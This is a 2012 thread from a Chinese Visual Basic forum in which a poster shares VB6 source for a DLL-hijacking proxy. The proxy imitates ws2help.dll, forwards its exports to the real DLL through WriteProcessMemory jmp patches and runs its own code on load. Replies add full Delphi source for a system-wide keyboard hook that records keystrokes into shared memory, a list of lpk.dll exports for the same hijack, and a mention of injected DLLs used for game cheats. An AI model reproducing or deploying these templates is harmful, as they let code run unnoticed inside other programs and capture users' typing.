VBGood网站全文搜索 Google

搜索VBGood全站网页(全文搜索)

VB爱好者乐园(VBGood)

 找回密码
 立即注册
搜索
查看: 13996|回复: 19

[原创] VB做Dll劫持 有代码哦~~~

[复制链接]
 楼主| 发表于 2012-3-3 00:24:13 | 显示全部楼层 |阅读模式
如果要显示窗口什么的再加一个多线程初始化模块即可,为了简单这里用个messagebox代替
在编译的时候需要用到dll编译插件 并且需要导出函数(压缩包里面的导出函数表.txt )
可以使用本人的多功能编译插件编译
http://www.vbgood.com/thread-107527-1-1.html

代码如下
  1. Option Explicit
  2. Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
  3. Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  4. Public Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
  5. Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

  6. Private Declare Function CreateIExprSrvObj Lib "msvbvm60.dll" (ByVal p1_0 As Long, ByVal p2_4 As Long, ByVal p3_0 As Long) As Long
  7. Public Declare Function MessageBox Lib "user32" Alias "MessageBoxA" (ByVal hwnd As Long, ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long


  8. Public Function WahCloseApcHelper() As Long
  9.         MsgBox "hello"
  10. End Function
  11. Public Function WahCloseHandleHelper() As Long
  12.         MsgBox "hello"

  13. End Function
  14. Public Function WahCloseNotificationHandleHelper() As Long
  15.         MsgBox "hello"

  16. End Function
  17. Public Function WahCloseSocketHandle() As Long
  18.         MsgBox "hello"

  19. End Function
  20. Public Function WahCloseThread() As Long
  21.         MsgBox "hello"

  22. End Function
  23. Public Function WahCompleteRequest() As Long
  24.         MsgBox "hello"

  25. End Function
  26. Public Function WahCreateHandleContextTable() As Long
  27.         MsgBox "hello"

  28. End Function
  29. Public Function WahCreateNotificationHandle() As Long
  30.         MsgBox "hello"

  31. End Function
  32. Public Function WahCreateSocketHandle() As Long
  33.         MsgBox "hello"

  34. End Function
  35. Public Function WahDestroyHandleContextTable() As Long
  36.         MsgBox "hello"

  37. End Function
  38. Public Function WahDisableNonIFSHandleSupport() As Long
  39.         MsgBox "hello"

  40. End Function
  41. Public Function WahEnableNonIFSHandleSupport() As Long
  42.         MsgBox "hello"

  43. End Function
  44. Public Function WahEnumerateHandleContexts() As Long
  45.         MsgBox "hello"

  46. End Function
  47. Public Function WahInsertHandleContext() As Long
  48.         MsgBox "hello"

  49. End Function
  50. Public Function WahNotifyAllProcesses() As Long
  51.         MsgBox "hello"

  52. End Function
  53. Public Function WahOpenApcHelper() As Long
  54.         MsgBox "hello"

  55. End Function
  56. Public Function WahOpenCurrentThread() As Long
  57.         MsgBox "hello"
  58. End Function

  59. Public Function WahOpenHandleHelper() As Long
  60.         MsgBox "hello"
  61. End Function
  62. Public Function WahOpenNotificationHandleHelper() As Long
  63.         MsgBox "hello"
  64. End Function

  65. Public Function WahQueueUserApc() As Long
  66.         MsgBox "hello"
  67. End Function

  68. Public Function WahReferenceContextByHandle() As Long
  69.         MsgBox "hello"
  70. End Function

  71. Public Function WahRemoveHandleContext() As Long
  72.         MsgBox "hello"
  73. End Function

  74. Public Function WahWaitForNotification() As Long
  75.         MsgBox "hello"
  76. End Function

  77. Sub Main()

  78. End Sub

  79. Public Function DllMain(ByVal hinstdll As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long ' "VB标准DLL入口函数
  80.         Const DLL_PROCESS_ATTACH    As Long = 1
  81.         Const DLL_THREAD_ATTACH     As Long = 2
  82.         Const DLL_PROCESS_DETACH    As Long = 0
  83.         Const DLL_THREAD_DETACH     As Long = 3
  84.         
  85.         Dim nRet As Long
  86.         nRet = 1
  87.         Select Case fdwReason
  88.                 Case DLL_PROCESS_ATTACH
  89.                         CreateIExprSrvObj 0, 4, 0
  90.                         If LoadOldDll() = False Then
  91.                                 nRet = 0
  92.                         Else
  93.                                 MessageBox 0, "劫持Dll 成功", "提示", 16
  94.                         End If
  95.                 Case DLL_THREAD_ATTACH
  96.                 Case DLL_PROCESS_DETACH
  97.                 Case DLL_THREAD_DETACH
  98.         End Select
  99.         DllMain = nRet
  100. End Function

  101. Public Function WriteJmpCode(ByVal addr As Long, ByVal jmpAddr As Long) As Long
  102.         Dim bin As Byte
  103.         Dim Jmpcode As Integer
  104. '00401208 >    B8 01000000   mov     eax, 1
  105. '0040120D      FFE0          jmp     eax
  106.         
  107.         bin = &HB8
  108.         Jmpcode = &HE0FF

  109.         WriteProcessMemory -1, addr, bin, 1, ByVal 0
  110.         WriteProcessMemory -1, addr + 1, jmpAddr, 4, ByVal 0
  111.         WriteProcessMemory -1, addr + 5, Jmpcode, 2, ByVal 0

  112. End Function

  113. Public Function LoadOldDll() As Boolean

  114.         Dim ModHandle  As Long
  115.         
  116.         ModHandle = LoadLibrary("C:\windows\system32\ws2help.dll")
  117.         If ModHandle > 0 Then
  118.                
  119.                
  120.                 WriteJmpCode AddressOf WahCloseApcHelper, GetProcAddress(ModHandle, "WahCloseApcHelper")
  121.                
  122.                 WriteJmpCode AddressOf WahCloseHandleHelper, GetProcAddress(ModHandle, "WahCloseHandleHelper")
  123.                
  124.                 WriteJmpCode AddressOf WahCloseNotificationHandleHelper, GetProcAddress(ModHandle, "WahCloseNotificationHandleHelper")
  125.                
  126.                 WriteJmpCode AddressOf WahCloseSocketHandle, GetProcAddress(ModHandle, "WahCloseSocketHandle")
  127.                
  128.                 WriteJmpCode AddressOf WahCloseThread, GetProcAddress(ModHandle, "WahCloseThread")
  129.                
  130.                 WriteJmpCode AddressOf WahCompleteRequest, GetProcAddress(ModHandle, "WahCompleteRequest")
  131.                
  132.                 WriteJmpCode AddressOf WahCreateHandleContextTable, GetProcAddress(ModHandle, "WahCreateHandleContextTable")
  133.                
  134.                 WriteJmpCode AddressOf WahCreateNotificationHandle, GetProcAddress(ModHandle, "WahCreateNotificationHandle")
  135.                
  136.                 WriteJmpCode AddressOf WahCreateSocketHandle, GetProcAddress(ModHandle, "WahCreateSocketHandle")
  137.                
  138.                 WriteJmpCode AddressOf WahDestroyHandleContextTable, GetProcAddress(ModHandle, "WahDestroyHandleContextTable")
  139.                
  140.                 WriteJmpCode AddressOf WahDisableNonIFSHandleSupport, GetProcAddress(ModHandle, "WahDisableNonIFSHandleSupport")
  141.                
  142.                 WriteJmpCode AddressOf WahEnableNonIFSHandleSupport, GetProcAddress(ModHandle, "WahEnableNonIFSHandleSupport")
  143.                
  144.                 WriteJmpCode AddressOf WahEnumerateHandleContexts, GetProcAddress(ModHandle, "WahEnumerateHandleContexts")
  145.                
  146.                 WriteJmpCode AddressOf WahInsertHandleContext, GetProcAddress(ModHandle, "WahInsertHandleContext")

  147.                 WriteJmpCode AddressOf WahNotifyAllProcesses, GetProcAddress(ModHandle, "WahNotifyAllProcesses")
  148.                
  149.                 WriteJmpCode AddressOf WahOpenApcHelper, GetProcAddress(ModHandle, "WahOpenApcHelper")
  150.                  
  151.                 WriteJmpCode AddressOf WahOpenCurrentThread, GetProcAddress(ModHandle, "WahOpenCurrentThread")
  152.                
  153.                 WriteJmpCode AddressOf WahOpenHandleHelper, GetProcAddress(ModHandle, "WahOpenHandleHelper")
  154.                
  155.                 WriteJmpCode AddressOf WahOpenNotificationHandleHelper, GetProcAddress(ModHandle, "WahOpenNotificationHandleHelper")
  156.                
  157.                 WriteJmpCode AddressOf WahQueueUserApc, GetProcAddress(ModHandle, "WahQueueUserApc")
  158.                
  159.                 WriteJmpCode AddressOf WahReferenceContextByHandle, GetProcAddress(ModHandle, "WahReferenceContextByHandle")
  160.                
  161.                 WriteJmpCode AddressOf WahRemoveHandleContext, GetProcAddress(ModHandle, "WahRemoveHandleContext")
  162.                
  163.                 WriteJmpCode AddressOf WahWaitForNotification, GetProcAddress(ModHandle, "WahWaitForNotification")
  164.             
  165.                 LoadOldDll = True
  166.                
  167.         Else
  168.                 LoadOldDll = False
  169.         End If
  170. End Function
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x

点评

dll是不是就不安全了?  发表于 2012-3-4 16:00
绝对的支持,不过有的程序加载会出现错误。  发表于 2012-3-3 22:48
to acme_pjz :呃 难道说发错版了??昨天晚上睡觉前发的 发的匆忙.呃 要不版主移一下??  发表于 2012-3-3 11:48
为神马不发到底层区?  发表于 2012-3-3 11:44

评分

参与人数 5威望 +50 金钱 +20 人气 +10 收起 理由
qq275158045 + 6 + 1 期待优化,蛮多程序调用还是出错。
peace2008 + 1 + 1 很给力!
eaaca1234 + 20 + 20 + 2 厉害……没想到vb也能被搞得这么猛
acme_pjz + 10 + 3 精品文章
JuncoJet + 13 + 3 赞一个!

查看全部评分

本帖被以下淘专辑推荐:

发表于 2012-3-3 01:10:43 | 显示全部楼层
lz真有闲功夫。。

点评

呵呵.平时上班很少上了 这周末有时间了灌点水...  发表于 2012-3-3 11:02
回复 支持 反对

使用道具 举报

发表于 2012-3-3 09:33:59 | 显示全部楼层
本帖最后由 cxbs 于 2012-3-3 09:35 编辑

楼主对Dll有研究,可以请教一个问题吗,就是能不能VB在Exe里加载一个VB Dll(类似显示窗口From1.Show vbModal),但是加载必须要等DLL关闭了才可以继续执行下去,能不能像Exe里显示一个窗口用:From1.Show 后可以继续打开其它窗口呢,之前我想到用DLL驻入内存(就是在EXE里加载了DLL后,DLL在后台运行,就算Exe关闭了Dll还在运行),可是我试了很多方法都没有成功,希望能指点一下,在此先谢谢了!

点评

我有看到过一个Delphi写的Dll程序,在VB里定义并执行了函数,即使VB Exe关闭了,那个DLL还在内存当中运行  发表于 2012-3-3 12:04
[quote]就算Exe关闭了Dll还在运行[/quote]这个不太可能吧,除非你rundll32.exe 你的dll  发表于 2012-3-3 11:41
呃 创建一个线程应该就可以解决吧.  发表于 2012-3-3 10:59
回复 支持 反对

使用道具 举报

发表于 2012-3-3 10:32:44 | 显示全部楼层
一直不明白咱用。。。这个生成dll后替系统下的dll还是注入dll

点评

是的,程序调用生成的DLL 生成的DLL在调用真实的系统DLL...  发表于 2012-3-3 11:46
意思只要那个目录的程序调用这个名字的系统dll就会调用这个了是吧  发表于 2012-3-3 11:30
是将生成的DLL放入目标程序目录,不能替换系统的DLL.除非你把系统dll的代码全部自己实现...  发表于 2012-3-3 10:56
回复 支持 反对

使用道具 举报

发表于 2012-3-3 11:20:08 | 显示全部楼层
cxbs 发表于 2012-3-3 09:33
楼主对Dll有研究,可以请教一个问题吗,就是能不能VB在Exe里加载一个VB Dll(类似显示窗口From1.Show vbModa ...

可以在EXE里创建一个线程并加载DLL里的窗口吗?

点评

晕多打了个字。是可以。。。打成不可以了汗...  发表于 2012-3-3 11:32
就用菜鸟学飞大哥的多线程注入dll不可以。。。我现在就是用的那个写的注入dll外挂  发表于 2012-3-3 11:31
完全可以的.  发表于 2012-3-3 11:30
回复 支持 反对

使用道具 举报

发表于 2012-3-3 11:58:01 | 显示全部楼层
本帖最后由 h907308901 于 2012-3-3 11:59 编辑

汗,全给HOOK掉了
回复 支持 反对

使用道具 举报

发表于 2012-3-3 12:11:45 | 显示全部楼层
cxbs 发表于 2012-3-3 09:33
楼主对Dll有研究,可以请教一个问题吗,就是能不能VB在Exe里加载一个VB Dll(类似显示窗口From1.Show vbModa ...

这个就是可以在VB EXE里定义并执行了DLL里的函数后,VB EXE关闭了DLL还在内存中运行

library KEYHOOK;
uses
  Windows;

const BUFFER_SIZE = 16 * 1024;
const HOOK_MEM_FILENAME = 'SAMPLE KEY_HOOK_MEM_FILE';
const HOOK_MUTEX_NAME = 'SAMPLE KEY_HOOK_MUTEX_NAME';
type
  TShared = record
    Keys: array[0..BUFFER_SIZE] of Char;
    KeyCount: Integer;
  end;
  PShared = ^TShared;
var
  MemFile, HookMutex: THandle;
  hOldKeyHook: HHook;
  ProcSaveExit: Pointer;
  Shared: PShared;
  //键盘钩子过滤函数
function KeyHookProc(iCode: Integer; wParam: wParam; lParam: lParam): LRESULT
  ; stdcall; export;
const KeyPressMask = $80000000;
begin
  if iCode < 0 then
    Result := CallNextHookEx(hOldKeyHook, iCode, wParam, lParam)
  else begin
    if ((lParam and KeyPressMask) = 0) then {// 键按下} begin
      Shared^.Keys[Shared^.KeyCount] := Char(wParam and $00FF);
      Inc(Shared^.KeyCount);
      if Shared^.KeyCount >= BUFFER_SIZE - 1 then Shared^.KeyCount := 0;
    end;
    iCode := -1;
    Result := CallNextHookEx(hOldKeyHook, iCode, wParam, lParam);
  end;
end;
// 设置钩子过滤函数
function EnableKeyHook: BOOL; export;
begin
  Shared^.KeyCount := 0; //初始化键盘指针
  if hOldKeyHook = 0 then begin
    hOldKeyHook := SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, HInstance, 0);
  end;
  Result := (hOldKeyHook = 0);
end;
//撤消钩子过滤函数
function DisableKeyHook: BOOL; export;
begin
  if hOldKeyHook = 0 then begin
    UnHookWindowsHookEx(hOldKeyHook); // 解除 Keyboard Hook
    hOldKeyHook := 0;
    Shared^.KeyCount := 0;
  end;
  Result := (hOldKeyHook = 0);
end;
//取得键盘缓冲区中击键的个数
function GetKeyCount: Integer; export;
begin
  Result := Shared^.KeyCount;
end;
//取得键盘缓冲区的键
function GetKey(index: Integer): Char; export;
begin
  Result := Shared^.Keys[index];
end;
//清空键盘缓冲区
procedure ClearKeyString; export;
begin
  Shared^.KeyCount := 0;
end;
//DLL的退出处理过程
procedure KeyHookExit; far;
begin
  if hOldKeyHook = 0 then DisableKeyHook;
  UnMapViewOfFile(Shared); // 释放内存映象文件
  CloseHandle(MemFile); // 关闭映象文件
  ExitProc := ProcSaveExit;
end;
exports // 定义输出函数
  EnableKeyHook,
  DisableKeyHook,
  GetKeyCount,
  ClearKeyString,
  GetKey;
begin
  // DLL 初始化部分
  HookMutex := CreateMutex(nil, True, HOOK_MUTEX_NAME);
  // 通过建立内存映象文件以共享内存
  MemFile := OpenFileMapping(FILE_MAP_WRITE, False, HOOK_MEM_FILENAME);
  if MemFile = 0 then
    MemFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TShared), HOOK_MEM_FILENAME);
  Shared := MapViewOfFile(MemFile, FILE_MAP_WRITE, 0, 0, 0);
  ReleaseMutex(HookMutex);
  CloseHandle(HookMutex);
  ProcSaveExit := ExitProc; // 保存DLL的ExitProc
  ExitProc := @KeyHookExit; // 设置DLL新的ExitProc
end.
回复 支持 反对

使用道具 举报

发表于 2012-3-3 18:21:46 | 显示全部楼层
本帖最后由 19900603 于 2012-3-3 19:11 编辑

  这办法不错呦。。。不知道Push Ret Hook 在Dll 中能否实现 有空我研究下
附上 Lpk 导出函数表
ftsWordBreak
LpkUseGDIWidthCache
LpkPSMTextOut
LpkGetTextExtentExPoint
LpkGetCharacterPlacement
LpkExtTextOut
LpkEditControl
LpkDrawTextEx
LpkDllInitialize
LpkTabbedTextOut
LpkInitialize
回复 支持 反对

使用道具 举报

发表于 2012-3-3 22:43:35 | 显示全部楼层
我这边有的程序加载的话 提示出错喔!大大

点评

函数太多了 是一个一个手动修改的 估计是哪个函数位置写错了...你检查看看  发表于 2012-3-3 22:51
回复 支持 反对

使用道具 举报

发表于 2012-3-3 22:45:36 | 显示全部楼层
会提示:应用程序正常初始化(0xc000007b)失败。请单击“确定”,终止应用程序。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

文字版|手机版|小黑屋|VBGood  

GMT+8, 2022-7-5 12:41

VB爱好者乐园(VBGood)
快速回复 返回顶部 返回列表